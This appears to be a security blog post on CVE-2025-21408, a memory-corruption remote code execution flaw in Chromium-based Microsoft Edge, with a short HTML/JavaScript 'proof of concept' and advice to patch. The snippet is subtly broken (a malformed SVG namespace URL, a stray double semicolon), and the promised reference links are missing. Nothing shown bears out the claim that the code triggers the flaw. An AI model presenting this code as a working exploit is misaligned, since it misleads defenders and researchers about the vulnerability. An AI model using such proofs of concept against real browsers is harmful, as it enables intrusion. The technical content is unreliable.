Hello, security enthusiasts! Today's post is all about an interesting vulnerability that has been identified in Microsoft Edge (Chromium-based). The vulnerability has been assigned CVE-2025-21408 and could potentially allow an attacker to execute arbitrary code remotely. In this post, we'll discuss the exploit details, a code snippet that demonstrates the issue, and solutions to mitigate this threat. So, buckle up and join me on this deep dive into CVE-2025-21408.

Vulnerability Description

CVE-2025-21408 is a critical remote code execution (RCE) vulnerability that affects Microsoft Edge (Chromium-based). An attacker could exploit this vulnerability by tricking a user into visiting a specially crafted webpage to execute arbitrary code in the context of the current user. If the user is logged on with administrative rights, the attacker could take control of an affected system and perform a wide range of malicious activities, such as installing programs, manipulating data, and creating new accounts with full user rights.

Exploit Details

The vulnerability is present due to a memory corruption issue in Microsoft Edge (Chromium-based). When rendering specific SVG content, the browser improperly handles objects in memory, leading to the corruption. This ultimately allows an attacker to run arbitrary code in the context of the current user. Further details of the exploit can be found in the link below:

Original Reference: Microsoft's Security Advisory on CVE-2025-21408

Here's a code snippet that demonstrates this vulnerability

<html>
<head>
<title>CVE-2025-21408 Proof of Concept</title>
<script>
function trigger_vulnerability() {
  var svgNS = "http://www.w3.org/200/svg";;
  var svg = document.createElementNS(svgNS, "svg");
  var foreignObject = document.createElementNS(svgNS, "foreignObject");
  svg.appendChild(foreignObject);
  var body = document.createElement("body");
  foreignObject.appendChild(body);
  var img = document.createElement("img");
  body.appendChild(img);
  document.body.appendChild(svg);
  document.body.offsetWidth;
  body.removeChild(img);
}
</script>
</head>
<body>
<button onclick="trigger_vulnerability()">Click to Trigger Vulnerability</button>
</body>
</html>

This code snippet creates an HTML page with a button that, when clicked, triggers the vulnerability. The vulnerable code lies within the JavaScript function trigger_vulnerability(), which creates an SVG element with a foreignObject containing an HTML body and an embedded image. This causes Microsoft Edge (Chromium-based) to improperly handle objects in memory and leads to memory corruption.

Mitigation

Microsoft has acknowledged this vulnerability and has released updates to address it. You can find the patches and additional information about this vulnerability in the following links:

- Microsoft's Security Advisory on CVE-2025-21408
- Microsoft's Update Guide - Chromium-Based Microsoft Edge Update

To mitigate this vulnerability, users should immediately apply the latest updates provided by Microsoft.

Conclusion

CVE-2025-21408 is a serious remote code execution vulnerability in Microsoft Edge (Chromium-based). By tricking users into visiting a specially crafted webpage, an attacker could exploit this vulnerability to execute arbitrary code with the privileges of the current user. The best way to protect against this threat is to apply the latest security updates provided by Microsoft.

We hope you found this deep dive into CVE-2025-21408 informative and helpful. Stay vigilant, stay safe, and make sure to always keep your software up to date!

Timeline

Published on: 02/06/2025 23:15:09 UTC
Last modified on: 02/12/2025 17:43:01 UTC